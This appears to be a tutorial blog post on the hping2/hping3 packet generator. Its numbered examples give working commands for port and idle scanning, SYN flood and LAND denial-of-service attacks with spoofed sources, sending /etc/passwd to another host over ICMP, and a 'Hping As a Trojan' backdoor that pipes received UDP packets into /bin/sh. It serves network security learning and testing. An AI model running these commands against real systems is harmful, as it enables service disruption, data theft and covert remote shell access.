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hping


Hping3 And Hping2
hping is a free packet generator and analyzer for the TCP/IP protocol. Hping is one of the de-facto tools for security auditing and testing of firewalls and networks, and was used to exploit the Idle Scan scanning technique now implemented in the Nmap port scanner. The new version of hping, hping3, is scriptable using the Tcl language and implements an engine for string based, human readable description of TCP/IP packets, so that the programmer can write scripts related to low level TCP/IP packet manipulation and analysis in a very short time. Like most tools used in computer security, hping is useful to security experts, but there are a lot of applications related to network testing and system administration.
since version 3, that's now in alpha stage, hping is trying to not be just a little tool but to become a framework for scripting related to TCP/IP testing and security. hping3 continues to be command-line compatible with hping2, but integrates two main new things: the first is an engine called APD that is able to translate simple packet descriptions in the form of strings into a packet ready to be sent, and the reverse (generate the representation from a real packet). The second is the Tcl scripting language. So you can imagine hping3 as a scriptable TCP/IP stack
Example Script:

set srcaddr 192.168.1.5
foreach destaddr {192.168.1.8 192.168.1.10} {
foreach ttl {1 2 3 4} {
hping send "ip(saddr=$srcaddr,daddr=$destaddr,ttl=$ttl)+icmp(type=8,code=0,id=5,seq=10)+data(str[string repeat X 28])"
 }
 }

hping2 was used (in the past) to... 
• Traceroute/ping/probe hosts behind a firewall that blocks attempts using the standard utilities.
• Perform the idle scan (now implemented in nmap with an easy user interface).
• Test firewalling rules.
• Test IDSes.
• Exploit known vulnerabilties of TCP/IP stacks.
• Networking research.
• Learn TCP/IP (hping was used in networking courses AFAIK).

 hping3 should be used to...
• Write real applications related to TCP/IP testing and security.
• Automated firewalling tests. • Proof of concept exploits.
• Networking and security research when there is the need to emulate complex TCP/IP behaviour.
• Prototype IDS systems.
• Simple to use networking utilities with Tk interface.
• All the usage of hping2


1)Hping as Port Scanner
hping3 -S 172.31.19.1 -p 80
hping3 -S 172.31.19.1 -p ++20 (it will increase the value of port to plus one on every iteration)

All known NMAP scanning techniques can be easily reproduced (accept a CONNECT scan), but a finer (don’t get me wrong, not a bad word about NMAP!!!) control on the packets can be obtained

2)Idle Scanning 
Idle scanning is a technique to portscan a remote system fully anonymous.
hping3  -a 192.168.10.1 -S 192.168.10.33 -p ++20
hping3 -r -S 192.168.10.1 -p 2000


3)FireWalk
hping can be used for traceroute and firewall study also.
hping3  -z -t 6 -S mail.example.com  -p 143

4)SYN Attack
hping3 -a 172.31.19.3 -S 172.31.19.11 -p 80 -i u1000

5)LAND Attack
Type of Denial of service attack.Not very effective these days but can waste resources .
hping3 -S  -a 10.10.10.10 -p 21 10.10.10.10

6)Packets with signatures
cat /root/signature.sig
"Vishal Mishra"

hping3 -2 -p 7 192.168.10.33 -d 50 -E /root/signature.sig
Now have a look at the packet dump capture via Wireshark



7)Transferring a file 

hping3 192.168.10.66 --listen signature --safe  --icmp
On Source machine type following now

hping3 192.168.10.44 --icmp –d 100 --sign signature --file /etc/passwd
on the other site you must ‘sign’ the packet, with the signature used at the receiving site.

8)Hping As a Trojan
hping3 192.168.10.66 --listen signature --safe --udp -p 53 |/bin/sh

hping3 192.168.10.44 -p 53 -d 100 --udp --sign siganature --file


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